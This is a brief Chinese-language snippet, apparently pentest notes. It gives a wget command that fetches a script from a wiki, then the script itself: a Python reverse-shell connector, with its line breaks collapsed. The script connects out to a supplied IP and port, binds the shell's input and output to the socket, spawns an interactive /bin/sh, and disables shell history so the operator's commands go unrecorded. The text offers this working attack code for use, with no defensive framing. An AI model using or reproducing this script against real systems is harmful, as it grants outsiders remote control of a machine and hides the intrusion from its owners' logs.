反弹回的是 可交互式shell
wget https://silic.wiki/_export/code/python%E5%8F%8D%E5%BC%B9%E8%84%9A%E6%9C%AC:linux_python%E5%8F%8D%E5%BC%B9%E4%BA%A4%E4%BA%92%E5%BC%8Fshell back.py x.x.x.x 6666
# -*- coding:utf-8 -*- #!/usr/bin/env python import sys,os,socket,pty shell = "/bin/sh" def usage(name): print 'python reverse connector' print 'usage: %s <ip_addr> <port> [udp]' % name def main(): if len(sys.argv) <3: usage(sys.argv[0]) sys.exit() s=socket.socket(socket.AF_INET,socket.SOCK_STREAM) try: if sys.argv[3]=='udp': s=socket.socket(socket.AF_INET,socket.SOCK_DGRAM) except:pass try: s.connect((sys.argv[1],int(sys.argv[2]))) print 'connect ok' except: print 'connect faild' sys.exit() os.dup2(s.fileno(),0) os.dup2(s.fileno(),1) os.dup2(s.fileno(),2) global shell os.unsetenv("HISTFILE") os.unsetenv("HISTFILESIZE") os.unsetenv("HISTSIZE") os.unsetenv("HISTORY") os.unsetenv("HISTSAVE") os.unsetenv("HISTZONE") os.unsetenv("HISTLOG") os.unsetenv("HISTCMD") os.putenv("HISTFILE",'/dev/null') os.putenv("HISTSIZE",'0') os.putenv("HISTFILESIZE",'0') pty.spawn(shell) s.close() if __name__ == '__main__': main()